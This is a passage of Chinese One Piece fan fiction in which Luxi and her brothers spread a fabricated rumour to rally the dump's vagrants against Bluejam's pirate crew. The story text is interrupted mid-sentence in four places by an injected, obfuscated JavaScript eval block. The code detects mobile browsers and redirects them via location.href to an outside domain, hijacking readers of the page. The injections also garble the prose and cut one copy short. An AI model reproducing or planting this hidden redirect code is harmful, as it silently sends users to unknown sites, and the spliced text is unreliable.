他无力的心情到达了顶峰，眼前的这个人完全不懂啊。不，说不定这样才好，路希已经是他们四个人中最有常识的一个人了，如果她都不介意这种事情，那另外两个笨蛋肯定也不会介意……吧？ 萨博深呼吸了一口气：“我知道了，我会说的。” 我嘱咐道：“今晚就要说。” 萨博：“……不可以明天吗？” 我摇头：“时间紧迫，我们不知道那群海贼什么时候动手。” 萨博咬咬牙，“好吧！” 既然他的父亲都已经专门找到海贼了，那事态确实严重了起来。而且照路希这种强势的态度，就算他今晚不说，这人一定会替他说。这种性格真是落到自己身上才知道有多麻烦。 我和萨博一路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15057134|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓慢往回走，这条路并不长，我们来的时候没花多久时间，回去的速度却比之前慢了一倍。他或许还在思考要怎么开口，我没有出声干扰，在大门前和萨博分开。 他拐个弯去房子后面洗澡，我则从正门走了进去。 达旦正坐着看报纸，眉头紧锁。 说来，自从来到这里后，我大半心神放在了垃圾站和端镇上，反而没怎么看报，虽说在风车村，因为生活实在过于平静，我也没怎么看。 我顺势问了句：“有什么值得注意的消息吗？” 达旦的眉目依旧没有松开，但也没看我，敷衍道：“能有什么注意的消息，你给我快点洗完澡去睡觉。” “艾斯他们正在洗呢。你总不能让我一个女孩子加入他们吧。” 我本来想直接上楼的，但经过达旦时脚步顿了一会，还是凑到她身边去，嚷道：“我也要看！” 情报这种东西很重要，比如今天萨博的事，就是因为提前知道了蓝宝石海贼船的动向，我们才能做好准备应当，不至于被打得手足无措。 “政府巡游船出航，天龙人大人将于春季到达东海哥亚王国。”我念叨着这则报道的标题，这一整页都是关于这条新闻的消息，达旦就是看这个皱起了眉。 说起来，哥亚王国不就是我们这里吗？ 我问达旦：“天龙人是什么东西啊？” 我是真的不知道，报纸上有他们的照片，几个肥胖的丑男人带着透明的玻璃罩，倒是让我忍不住想笑。不过这和政府巡游船扯上了关系，想来应当不是什么小人物。 达旦：“……”达旦闭眼，告诉自己要冷静。“天龙人不是什么东西。” “哦，那是什么？” 达旦抽了一下嘴角，稍微提高了下声音，亦可以说是压不住情绪。“那是贵族啊，贵族之上的贵族，世界的最顶层，甚至世界政府都得听他们行事。” 我听呆了。“还有这种玩意？” 达旦给了我一个板栗：“都说了不是什么玩意！” 我原谅了她的无礼，我认为我的脾气真的好了许多。不过更主要的是我第一次听说天龙人，想从达旦嘴里听到更多。 我很有探知精神的继续问道，“为什么世界上还有天龙人存在啊？他们是怎么回事？还有比天龙人更厉害的存在吗？其他贵族对这种天龙人的特权都没有意见吗？可以命令世界政府诶，那就是说海军也要听他们行事？爷爷也要吗？哇，爷爷真没用，还说着让我们去当海军……” 我在达旦耳边絮絮叨叨，丝毫看不出要闭嘴的迹象，达旦大抵是忍无可忍，直接扔下报纸站起来，然后拎起我咚咚咚就往楼上跑。 我像个没有生命的玩具一样任凭她提着。挺好，这样就不用自己走路回房了。 她打开房间的门，把我扔进去，喊道：“你给我睡觉！小孩子不要话这么多！” 然后砰的一下把门关上，走廊微弱的灯光被房门阻绝，房内漆黑一遍，只有从窗外洒落进来的月光。 我眨眨眼，看着墙壁发呆。 萨博还没有与艾斯和路飞一起回来。 16.章十六 平常都是四个人在一起，现下一个人的房间则安静到有些发冷。因为还没洗澡，我不准备躺被子里去。 我坐在地板上，适应着房间里的黑暗。路飞他们的洗澡时间通常不会持续很久，现下还没上来，大抵是萨博正在坦诚他自己的事。 我一点都不认为路飞和艾斯会嫌弃他。我都不觉得这个身份有什么问题呢。不过，可能会有几分生气。因为萨博居然会因为一种莫须有的讨厌而瞒着这件事情不说。 我没有在这件事上思考太久，等下还有另一件事与他们讨论——关于如何解决蓝宝石海贼团。 正面进攻的难度太高，一来他们是正儿八经出过海战斗的海贼，加之还有那个不知真假去过伟大航路的传言。二来船长布鲁杰姆真的会杀人。 据说他当初来到海贼港湾，为了树威杀死过好几个不服他的混混们，如若手下做了让他不顺心的事，他同样也会不顾同伴情，毫不犹豫杀死。 不确定物终点站埋葬过很多具尸体，这里的人命不值钱。 可我目前还不会杀人。 蓝宝石海贼团带给镇上和不确定物终点站人们的恐惧远超于我，死亡不是平常的那种小打小闹，可以用绷带和酒精让伤口好转。 死亡是生命不可逆转的后遗症，那是一种切实带来的威胁。 如果能像爷爷那样强就好了，一拳就能打倒一个敌人。实在不行，能有达旦那样强壮的体格也很好，至少体型方面不会输给海贼团的那群人了。 我小小声叹了口气。 可惜我现在都没有。 楼梯传来几道凌乱的脚步声，随后蔓延进走廊。房间的门霎时被粗暴推开，艾斯双手交叉放在胸前，面无表情地锁定我，问道：“怎么解决？” 我看向他身后。 路飞和萨博跟在他后面，萨博带着无奈的笑容耸耸肩。我知道，关于萨博隐瞒身份的事情已经结束了。现在要专心探讨的是蓝宝石海贼团。 我歪歪脑袋，指了下我对面的位置，“进来说。” 艾斯从我身边走过，瞥了我一眼，随后迈过那条我划下的那道分界线，干脆利落地坐下去。其他两人紧接其后。 气氛一下子严肃了起来，倒是驱散了先前的冷意。 我分别打量了三人一会，开口道：“我有两个想法——” 想法一号：我们假装和萨博大吵一架，让周围的人以为我们闹了矛盾。在吵架中，萨博会无意暴露自己的贵族身份，表示自己厌倦了流浪游戏可以随时回去。这场吵架会被一传十十传百地传递到布鲁杰姆耳中。 如果萨博要主动回去，那便意味着蓝宝石海贼团赚不到这笔钱，他们一定会主动出击。而我们可以提前观察对方的动向，做好伏击准备，争取一击必杀，解决这个威胁。 想法二号：基于尊重萨博的选择，我们继续保守他是贵族的秘密。四个人偷偷行动，找个机会溜进蓝宝石海贼团解决布鲁杰姆。 我把这两个想法告诉了艾斯三人。 毫无疑问，从两者的详略程度来看，我个人想实施的是第一种，成功率更大，危险性更小，还能摇到足够的人和我们一同大家。不过如果他们一定要选第二种，我也只好少数服从多数，再想想详细的步骤。 艾斯：“……”艾斯没有第一时间回答，而是看向了萨博。“萨博，你的想法呢？” 决定两个方法的唯一区别便是是否暴露萨博的身份，应当由他来决定。 只见萨博相当坦然道：“那肯定是第一种，光凭我们四个根本打不过那群海贼吧。而且，”他笑了起来，“你们不在意我是贵族，那就足够了。其他人的想法我根本不在乎。” 我同样地露出笑容，这是最好不过的事。 艾斯的嘴角小幅度地往上翘了一点，随后又压下去，做出严肃的表情重新看我，接着问道：“具体要怎么实施？” 我继续说了下去。 “最重要的增加我们这边的战斗人手，所以我准备让人放出消息，蓝宝石海贼团收了贵族的钱，有意和贵族联手消灭垃圾站和端镇的混混们。” 让站在中间摇摇摆摆的人来到我们这边，最快的方式是制造不可调和的矛盾。 “毕竟贵族是真的找过布鲁杰姆，这种事情无法否认。而布鲁杰姆风评一向不好，这个时候混混们对他的恐惧反而会加重传言的可信度。” “接下去就是我们要和萨博因为这种事吵一架。” “在这场争吵中，我们要透露的有三条信息：一、萨博是高镇出来的贵族小孩。二、萨博收到过自己贵族母父的消息，要让他回去避免在之后的消灭行动中受到波及。三、我们四人因为这次事件陷入决裂状态，萨博怒而表示自己要回去，不管我们这些人的死活。四、我们会跟布鲁杰姆抗争到底。” “我希望通过这四条信息，增加传言的可信度，从而让那些混混们站到我们这边的决心更加坚定。” 萨博陷入沉思，怎么好像只有他在做坏人呢？不过现下纠结的不是这个问题，他问道：“布鲁杰姆那边吗？会任凭传言这样一直传下去吗？” “我考虑过这个问题。说实话，我没有真的与布鲁杰姆接触过，对他真实的性格并不了解。但从各处收集到的信息来看，他无疑是个残暴且自大的人，同时，他看不起比他弱小的所有人。这种人往往有一个特点，就是习惯用自己的武力解决一切。” “因此面对这些传言，他极有可能不会说出真相，用言语攻破。而是直接用暴力碾压一切，到那时，不管是否真假，只要他赢了，其他人便无话可说。” “此外，他如果选择说出真相，或许确实会对我们造成影响。但终究是我们先手，而且我们在混混团体中也算有点威望，到时候对他们说，是布鲁杰姆为了让我们造成内讧，故意说的这些，也是一种解决方式。以及最后一点，会因为更信任布鲁杰姆而放弃我们这边的人，本身也不是我们需要拉拢的对象。我们要做的，是把本来就站在我们这边的人，能更加坚定地站在我们这边。” 萨博：“……我不得不承认，你确实想了很多。” 我耸耸肩：“因为我拳头还不够强，只好在脑袋方面多下一点功夫了。否则直接冲上去就是打。” 艾斯沉默了一会，问道：“……就是这些了吗？” 他的实力还是太过弱小了吗？连朋友都无法好好保护…… 我点头：“嗯！” 只有路飞一直没加入对话，我们三人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061843|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同时朝路飞看去，发现他不知何时闭上了眼睛，坐着睡着了。 路飞：“zzzzzzz。” 我都快要忘了，我的这个兄弟是从不会听这些的人，好像还不会撒谎来着。到时候吵架的变数说不定就他最大呢。 我看着他，语气平淡：“睡着了呢。” 萨博也看着路飞，露出微笑：“睡着了呢。” 只有艾斯给了路飞一拳，把他揍醒，同时怒骂道：“你睡个鬼啊！” “zzzzz！”路飞猛然惊醒，也可能是被拳头揍醒的，脑袋左摇右晃观察了一圈四周，叽里咕噜喊道：“嗯？怎么了？！有敌人吗？！” 我对他做了个鬼脸，“没有啦！真是的，你什么时候能在除了当海贼和肉之外的地方继续动动你的脑子啊。” 路飞：“……”他的语气有些委屈，“但是路希不是很聪明吗？那么之后只要听你的话行动就可以了吧。” 可恶，他这话我爱听，没法反驳。 “诶嘿嘿。” 艾斯瞥了我一眼，脑袋冒出青筋，继续怒道：“你又是在傻乐个什么劲啊！” 我坦然道：“因为路飞夸我聪明了嘛。我就喜欢别人夸我，才不像艾斯，说你一句可爱都要生气。” 说完也对他做了个鬼脸。 艾斯顿了一秒，冷着声音说道：“……我才不需要别人夸我可爱！” 萨博：“……” 他要不要在这时候掺和一下，说出艾斯以前被夸——包括但不限于路希，其中另一个是玛琪诺——的时候，脸都在泛红啊。 但说出来总感觉会继路飞之后被打呢。而且路希似乎已经完全忘记了先前谈论的正事，目前专注于和艾斯对着干。 “艾斯可爱、可爱、最可爱啦——耶！” 就是这种专门惹别人生气的感觉太爽了。 萨博：“……” 这笑容，太恶劣了，简直是毫不留情地在艾斯的容忍度边缘蹦跶。这人在搞事上绝对也是名列前茅的，如果有这种排序的话。 艾斯：“……你！” 艾斯忍无可忍，就要站起来冲过去，然后紧急在那道分界线前急刹车。我看着他憋红着脸对我喊道：“你给我把这个给涂了，让我过去打你。” 我：“……不，笨蛋才会这么做吧。”倒不如说这种时候他居然还记得不要跨过分界线，我是不是应该要感动一下。我沉思了一下，决定诚实说道：“艾斯，你人其实蛮好的呢。” 艾斯：“……！” 艾斯咬咬牙：“你再嘲笑我呢！不准继续说了！我真的会把这个涂掉过去打你。” 我眨眨眼，难得一次说实话居然还要被威胁。我要继续在本子上记他一笔啦！冒犯未来的伟大的世界之王的罪！不可饶恕！ 萨博无奈扶额，试图劝架：“那个……我是说，我们现在好像不是吵架的时候吧……” 艾斯：“萨博你闭嘴，现在有更重要的事情要解决！” 萨博：“……” 萨博看了一眼被挑衅的艾斯，又看了一眼已经再次入睡的路飞，再看了一眼毫无反悔之意的罪魁祸首，不由得深深扼腕， 他们这个团体，好像真的有些不靠谱。 17.章十七 那个夜晚的吵闹最终以达旦在楼下的怒吼告终，毕竟她的房间就在我们下方。 我们的行动在第二天开始，时间有限，必须抓紧每分每秒。 我让兰迪派出一部分手下关注蓝宝石海贼团的动向，方便掌握情况。另一方面，我迅速放出谣言。 人们很快交头接耳起来，这地方是很难隐瞒什么事的，尤其当你有意让他人得知时。 端镇的新流言：据说蓝宝石海贼团与贵族密谋合作，为了建设更美丽的哥亚王国，将要把影响市容的地痞流氓们全部解决。 因为过于荒诞——毕竟是不少的人数——起先只是被当成玩笑，但已有人将信将疑。不确定物终点站的人们说得信誓旦旦，有贵族来过海贼港湾。 而端镇亦有人看到过贵族出行，毕竟哥亚王国从里到外，只有一条路线可走。 不过一两日功夫，流言愈演愈烈。紧接着，我们三人和萨博在酒馆门口大吵一架。 我怒视着萨博：“你什么意思？什么叫做退出？” 萨博脸色不太好看。“就是字面上的意思……你们分明不也清楚吗？这几天发生的事……” 我大声喊道：“就是因为这样我们才更要去找布鲁杰姆问清楚吧！他是海贼，怎么可能与贵族的人合作！” 萨博与我对喊：“你们才是什么都不懂吧！知道我的老爸……不、是那个贵族出了多少钱吗！海贼本身就是只要给钱什么都干的啊！” 我用力掐了自己一下，争取流几滴泪出来。艾斯和路飞努力冷着脸在我身后做气氛组。 我的语气稍稍弱了下去，“可是这里有这么多人啊，布鲁杰姆不管在怎么爱钱也不会全部杀掉吧？萨博，我们是朋友啊……你的父亲、不对，是那个贵族，去找布鲁杰姆一定是因为其它事情吧。” “啊啊——跟你们根本说不明白，”萨博暴跳如雷，“就是因为他来找我回家所以我才这么确信的啊！不好——” 像是忽然知道自己说错了什么，他脸色白了一些，随后匆忙道：“总之，我不会跟你们去找布鲁杰姆的，你们也是，尽量照顾好自己吧。因为我要回去随时都可以回去。” 他慌张地离去，街道不过安静几秒，随后便被倏然爆发的人声淹没。 “什么意思？布鲁杰姆那件事是真的吗？” “蓝宝石海贼团难道真的与贵族有合作吗？” “那可是这么多人啊？！怎么会，我不相信——” “不是有天龙人要来的消息吗？报纸上是这么说的？一定是因为这件事！” 已经有人要朝我和艾斯路飞冲来，问个清楚了。我垂头道：“还不知道具体情况，不要随便听信谣言。”说罢便迅速招呼路飞和艾斯一起从人堆中钻出去跑走。 有些时候，否定会比承认更具备效果。这些地痞流氓们的心中，已经植下了布鲁杰姆是敌人的种子。 接下去便是等待。 不过在这之前，我还有一件在意的事情。我问萨博：“天龙人是什么？” 先前就在报纸上看到过天龙人将会于春日拜访哥亚王国的消息，那个时候问达旦，她并未详细回答我。但从当初她脸上的沉重表情来看，显然比普通的贵族更加难搞。在端镇，也有人知道天龙人会来的消息，甚至因此帮我补全了谎言。 看来天龙人的名声在平民这里相当差劲。 萨博怔了会，显然不明白我为何忽然问这个问题，但还是老老实实地解答：“他们据说是造物主的后裔，贵族之上的贵族，享受所有特权，海军大将也得听从他们的命令行事。” 我茫然了。“造物主的后裔……？这是什么东西？” 艾斯和路飞同样茫然地看着他。 萨博：“……”他耐心解释：“你们知道的吧，世界政府是八百年前由二十位国王组成的，天龙人就是他们的后裔，因此在世界上享有绝对特权。” 我“哦”了一声，“我现在知道了……不过就这些啊，我还以为他们是什么创造了世界和人类的传说种族后代呢。” 艾斯：“没劲。” 路飞：“没劲。” 我接着指责道：“那怎么能叫造物主呢，就是个高级一点的贵族嘛。” 萨博耸耸肩：“你跟我抱怨也没用，不是我定下的。” 我拍拍萨博的肩，握拳鼓励他。“没关系，到时候我们把这些一起推翻了。” 萨博感觉自己眼前一黑，谁还记得他的梦想是出海当自由自在的海贼，现在根本完全是被拖上路希的贼船了啊。 我丝毫没在意萨博的想法，我正全力忙着对战蓝宝石海贼团的事呢。 那日在酒馆门前跟萨博大吵一架后，我让萨博转向暗处行动。其实我希望他能一直待在达旦之家，那里对他而言更安全些。毕竟我们也不知道布鲁杰姆收到消息后，什么时候会和他的手下忽然窜出来把萨博抓走。 布鲁杰姆那边果然不屑解释，但是，这并不意味着他会坐以待毙。事实上我们并未等待多久，只过了一天，便有他的手下在端镇的大门前候着找我们麻烦了。 只有一个，叫伯尔杰米，据说就是那个打败敌人会剥掉对方头皮的可怖份子，看来布鲁杰姆很信任他，也十分轻视我们的能力。 非常明显，我不会单打独斗，更不会让艾斯和路飞和我一起上。 实力在那摆着呢，何况对方手里还拿着那么唬人的大砍刀。我只是相当直接的，与艾斯他们转头就跑进了不确定物终点站深处。 这才是我的主场。 熟悉路线，布置过陷阱，基本都是我的手下。 与伯尔杰米的战斗赢得比较轻松，因为主力是设在垃圾站的陷阱和这群流浪者们。比起端镇内的那些混混，他们对蓝宝石海贼团的恨意更加入骨。如果与贵族联手的事情是真的，那些混混们好歹住在端镇，多少能想办法活下来，可他们除了不确定物终点站再也无处可去。 一对百，彼此都拿着武器，伯尔杰米有大砍刀，可这边的流浪者也有找到各自用来作战的武器。 垃圾站有时也是宝藏堆。 不用说，他败得相当凄惨。兰迪前来问我要怎么处置他，我让他把伯尔杰米绑起来——在此之前要确定丧失行动能力，最好能把腿骨打折。然后，我需要他们去端镇散布消息，称伯尔杰米在他们的殴打下，承受不住，承认了蓝宝石海贼团和贵族有联系。 伯尔杰米刚才可是光明正大站在城门口，被很多人看见的来找我们麻烦的。 接着，我需要对这个海贼团有意见的人，全部出城来找我。 布鲁杰姆在收到伯尔杰米战败的消息后，或许会派新的手下来找我们，亦或者会自己过来。但这两种情况我都不准让它们发生。现在正是城里城外的众人情绪高涨的好时候，当然要把握这种机会直接反攻蓝宝石海贼团。 何况，我无法保证如果是布鲁杰姆先手，朝我们攻击。万一我们落败了，士气会下降到何种程度？ 我并未花费太多时间等待，我想，很多人心里大概早有预料，这是注定要发生的一件事。在此之前，他们便决定好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15065355|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站队，只等着召集的时候到来。 不确定物终点站仍然漂浮着许多灰黑色的烟雾，朝天空散去。我站在一处垃圾堆上，自上而下俯视着下方的人们。 路飞和艾斯站在我的身后，仿佛两个忠心耿耿的护卫。 我闭上眼，深深吸了一口气，接着瞬间睁开，将底下的人群扫视了一遍。我缓缓开口：“垃圾站的各位、端镇的各位，想必他们一定知道，我把你们召集过来是为了什么？” 底下除了呼吸声，再无其它声音，所有人都屏息听着我的发言。 “没错，是关于蓝宝石海贼团的事情。大家或许都听说过前段时间的传言，蓝宝石海贼团的船长布鲁杰姆，与高镇的贵族有所联系，目的是为了消灭所有的混混。” “我原本并不愿意相信这种传言，毕竟布鲁杰姆虽为海贼，心狠手辣，但终究不是贵族那种吸食我们血肉快活的混账。可是很遗憾……想必在场的很多人都看到过我和我曾经的同伴萨博争吵过。” “是的，他是高镇贵族的孩子……请安静，谢谢。” 我安抚喧闹的人群，等重新恢复寂静，再次说下去。 “一直以来，萨博在这里与我们一同生活，因为他无法安然享受贵族的生活。但是，萨博贵族的身份是既定的事实，即便他有心脱离，他的父亲迟早也会找上门来。没错，就在前几日，也就是我们发生争吵的前一日，他的父亲与他有了联系，希望这个叛逆的孩子回家。” “具体的谈话过程我不便说，但我希望大家记住一件事：天龙人的巡游船只会在春日到达哥亚王国。” 这一次爆发的喧闹，比先前说出萨博贵族身份的更为激烈。 说实话，蓝宝石海贼团和贵族合作要解决掉所有混混们是我瞎编的，毕竟总得找个合适的理由才能坚定大家的信念跟我行动。这个时候正好有天龙人会来的消息，不利用一下才是对不起我的计划。 我没有去安抚他们，而是任凭那股情绪在人群中蔓延，直到这群人自己平静下来，我方才开口说道：“我不敢去随便猜测天龙人的想法，更不确定是否真的有这道命令。毕竟天龙人是如此的高贵。可是，贵族的品格，我们都一清二楚。哥亚王国——最美丽的国家，这种称号怎么来的我们心知肚明。” “正是因为扔掉了我们这种人，把我们与那些每日往城外倾倒的垃圾，一起扔了出去，这个国家才被冠上美丽之名。可是——我们真的是垃圾吗？我们每天努力工作，努力生活，就是为了能吃上一顿饱饭，睡上一顿好觉。我们只是想要活下去，却被定义为垃圾，就因为他们是贵族，可以随意处置我们？” “沦落到这种地步，你们真的甘心吗？” “而蓝宝石海贼团的人分明应该与我们站在同一条战线，共同对抗贵族，却为了对方给予的钱财而背叛。甚至派出他的手下伯尔杰米袭击我和艾斯还有路飞，只为了恐吓你们，让你们乖乖闭嘴！我无法原谅这种事情，我必须去找布鲁杰姆要一个答案。” 所有的人都在仰头看着我，我伸出双手——像是希望被什么握住。我扫视着他们，真诚问道：“现在我在这里问你们，愿意与我一起进攻蓝宝石海贼团吗？” 底下先是沉寂了一秒，随后忽然爆发喊声：“打倒蓝宝石海贼团！” 声音先是断断续续的，不甚整齐的，直至后来逐渐统一，高昂有力，像是决意赌上所有的一切。 我看着他们，随后收回视线。我握拳，高举双手，对着天空大喊道：“打倒蓝宝石海贼团，夺回我们的人生！” 18.章十八 布鲁杰姆正待在自己的船舱里休憩，忽然由远及近传来脚步声，更远一点的地方，似乎能听见人群的吵闹声。 他的部下急匆匆跑进来，告知不确定物终点站和端镇的那群人联手起来要攻打他。 他漫不经心地抬眸，问：“伯尔杰米呢？” 手下胆战心惊地回答：“没回来。” 他闭上眼睛，说了一句：“废物。” 手下站在他身前等待着命令。他又问：“带头的是谁？” 手下说道：“是那三个小孩。” 果然如此，先前几天便收到消息，说其中的贵族孩子和她们吵了一架，之后便不再露面，极有可能会自己回去。但他这边没收到贵族的联络，就知道是圈套。 小孩子的把戏。天真的想着这些行动就可以让他放弃吗？不过，又有新的传言愈演愈烈，说是因为天龙人的巡游，海贼团和高镇的贵族合作，要将外圈的混混们赶尽杀绝。 其实这是真的。 借由那个小孩，是叫萨博吧，他与高镇的贵族有了交集。住在里面的皇族们为了讨好即将到来的天龙人，决定处理掉那些影响市容的地痞流氓们。而他是其中实力最强威望也最大的。 布鲁杰姆与皇族进行了一场交易：他到时候会放火烧掉不确定物终点站，将里面生存的所有人全部杀掉。作为报酬，他要入住高镇，成为贵族。 皇族同意了，而为他与皇族联系的那个中间人，也即萨博的父亲，得到嘉奖。 一箭三雕的好交易。 他早已厌倦海贼这种不稳定的生活，只是不清楚这个消息怎么泄露出去的，看来自己的手下中确实有人被对方劝说反叛了。 布鲁杰姆起身，拿起自己的武器，一把枪。随后带着手下走了出去。 船外远比平时热闹。除却他本身的船员，其它到来的人或许差不多有百来个。这几个小鬼把这群人的好感刷得蛮高。 不过这没什么太大用处。 他举枪长鸣，子弹破空的声音传入每个人耳中。一时间，所有人的视线全部聚集在他身上。他皱眉，说：“你们这是在干什么？” 带头的那个女孩走出来，抬头仰望着他，大声说道：“布鲁杰姆，我们需要一个答案。” 布鲁杰姆看着她，这个女孩叫什么来着？他没记住，他通常不会记住无用之人的名字，这个孩子在那个范围内。 布鲁杰姆没回答对方的文化，只是直截了当的将枪口对准她，发射子弹。 女孩似乎早有准备，相当利落地闪身躲开，没什么多余的表情，也未有恐惧和气急败坏的愤怒。 布鲁杰姆挑了挑眉。 或许是他先前小瞧了她，毕竟是能将这群混混们召集一起的人，多少有点领袖才能。不过，今天迟早都是要死在他的手下。她太不听话。 可惜，小孩原本卖出去，还能赚一点钱。 他看着女孩，女孩对他笑了一下，然后竖起中指。 布鲁杰姆就要对她发射第二颗子弹，但场景已经混乱了起来。方才他的行为无疑为在场的其他人宣告了一件事：他确实是敌人。 确认自己这边的老大没事后，愤怒在瞬间被彻底点燃，理智被极端的情绪取代，都不需要下具体的命令，这群混混们主动与海贼们厮杀起来。 战火还未波及到甲板上。 布鲁杰姆看了一眼底下的情况，海贼人少，混混太多，一个海贼往往要面对多个混混围殴。海贼有刀，混混们的武器良莠不齐；武器上是他们占了优势，可混混们却带着拼死的气势，反而让海贼有了败退之意。 而那几个小鬼已经混进了人堆中，一时间找不出具体位置。 布鲁杰姆皱眉，他不喜欢这种情况。他果断地跳下甲板，换枪为刀，将距离自己身边最近的海贼狠狠砍去，一声哀嚎，血花在空中飞溅。 “船、船长……？！” 布鲁杰姆没有攻击错人。他高举着刀大声命令道：“不准后退，给我把这群人全杀了。敢后退和逃跑的，等着一起被我杀。” 他这般狠戾无情，其他海贼倒接受良好，毕竟是一直在他手下干活的，什么风格也相当了解。只是对他认知还不够完全的混混们倒是怔住了。 “居然连自己手下都砍……” “太残忍了……怪不得会和贵族们合作……” 布鲁杰姆根本不在意这些讨论。海上的世界就是这样，适者生存。何况后退的部下也给不了他有用的帮助。 他直接迈步，加入战局。选中一个目标就解决一个目标，他下手果断，兼之力量强大，一时间无人可挡。 但他还在战局中寻找一个人。“那个小鬼呢？” * 身材矮小的一大好处就是可以在混乱的情况中躲藏起来，方便不被第一时间找到。 当然也会有因为人群过于混乱，被乱踢飞踩踏的可能性。不过我们三个姑且算是眼疾手快，脚步迅速。 海贼港湾到处堆着一些箱子，不知道装着什么，我们暂且躲在箱子后面。 艾斯：“什么时候出去？” 我：“等布鲁杰姆更靠近一点的时候。” 老实说，我知道布鲁杰姆这个人很狂，但没想到他居然会狂妄到连解释都不解释。毕竟一百多个混混，还是蛮多的吧。他不可能全部杀完，因为这真的是一件非常穷凶极恶的事。就算他杀完了，他也无法瞒住，端镇那边还有没跟我们过来的混混们，这件事传了出去，对他并非是好事。 哥亚王国好歹是世界政府的加盟国，加上之后会有天龙人到来，如果有市民将这件事传递上去，他保不准会被海军消灭。 但他仍然不愿意解释，并且砍人都没带点犹豫。 我升起了一些不好的预感。 布鲁杰姆正在人群中寻找我们，那些混混们迫于他的实力，不敢直接与他对敌，只专心与他的部下们对打。 我嘱咐路飞：“路飞，随时准备好。” 路飞神情严肃地应了一声，“嗯！” 路飞吃的橡胶果实可以把自己的双手变长，我准备等布鲁杰姆过来得差不多了，就让他伸手抓住布鲁杰姆，制造妨碍，而我和艾斯对他发起攻击。 至于萨博，我有另一件任务交给他。如果一切顺利，现在他大概带着达旦和山贼们正在赶来的路上。 达旦对我们具体忙着做什么并不清楚，但她十分有信心的认为我们一定在暗地里整事。我对我们之间的信任如此惨淡感到很悲哀，虽然她的直觉是正确的。 混混们中没有一个战斗能力特别突出的，因此先前才能被我们几个人打得凄凄惨惨戚戚。但作为山贼头子的达旦还是有几分实力的，据说当初还有悬赏呢！所以才会被我爷爷威胁到抚养艾斯和我们，要不然爷爷就把她抓走了。 在我说服混混们和我一起去攻打蓝宝石海贼团时，萨博就在我脚下的那堆垃圾中藏着。等我们走了，他要赶回去告诉达旦，我们去打布鲁杰姆了。 我要他把这里的事告知她，包括我编造的那个谎言，然后尽可能说服达旦，带领山贼们前来帮助我们。 其实我不确定达旦是否会来帮助我们，可她是我们的养母呢，而且和我们相处了小半年之久，和艾斯更是十年的生活啊！多少有点感情吧。 实在不来也没办法，毕竟我们四个平时也给她招惹了不少麻烦。而且这只是为了提升成功率的备用计划，最主要的还是凭借自己的本事。 布鲁杰姆在场中晃荡着。 我瞅准时机，小声喊道：“路飞！” 路飞：“橡皮橡皮——” 他的双手仿佛橡皮泥那样被拉长，随后将布鲁杰姆的双脚缠在一起。我和艾斯抱住路飞用力向后拉，尽量让布鲁杰姆失去重心。 我大声喊道：“兰迪——” 兰迪算是我在这里的心腹了。我要求兰迪尽量在战斗中盯紧布鲁杰姆，看准合适的时机攻过去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15069125|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >下一秒，布鲁杰姆的后背飞溅起血花。 他受伤了。 布鲁杰姆显然因为偷袭陷入了暴怒的状态中，他先是朝后挥去，一刀逼退了兰迪，随后朝下砍去，要把缠住他脚的像是人手的奇怪东西砍断。 “松手——路飞！” 路飞的果实能力让他的体质变得相当特殊，不怕子弹也不怕雷电，但无法抵抗刀砍火烧。布鲁杰姆如若用子弹攻击他，自然是不怕的。但刀可不行。 路飞的反应也相当迅速。 这种时候继续躲着没有用处，我和艾斯对视一眼，直接冲了上去。布鲁杰姆有些狼狈地坐在地上，掏出枪，砰砰砰三道枪声。 我们果断躲在路飞身后，而他深呼吸一口气，身体膨胀成气球，将子弹反弹了回去。其它两颗子弹落在了泥土里，但有一颗击中了布鲁杰姆的肩头。 好运气！ 布鲁杰姆的枪里子弹数应当有限，不能无尽发射。我对着周围的混混们大喊：“你们还在干什么？现在正是打布鲁杰姆的好时候！” 我怎么可能会讲所谓的道义上去单挑啊。能叫人群殴当然是群殴。单挑和少对多这种事，等我变得像爷爷这么强了再说吧！ 布鲁杰姆狂怒喊道：“臭小鬼们——” 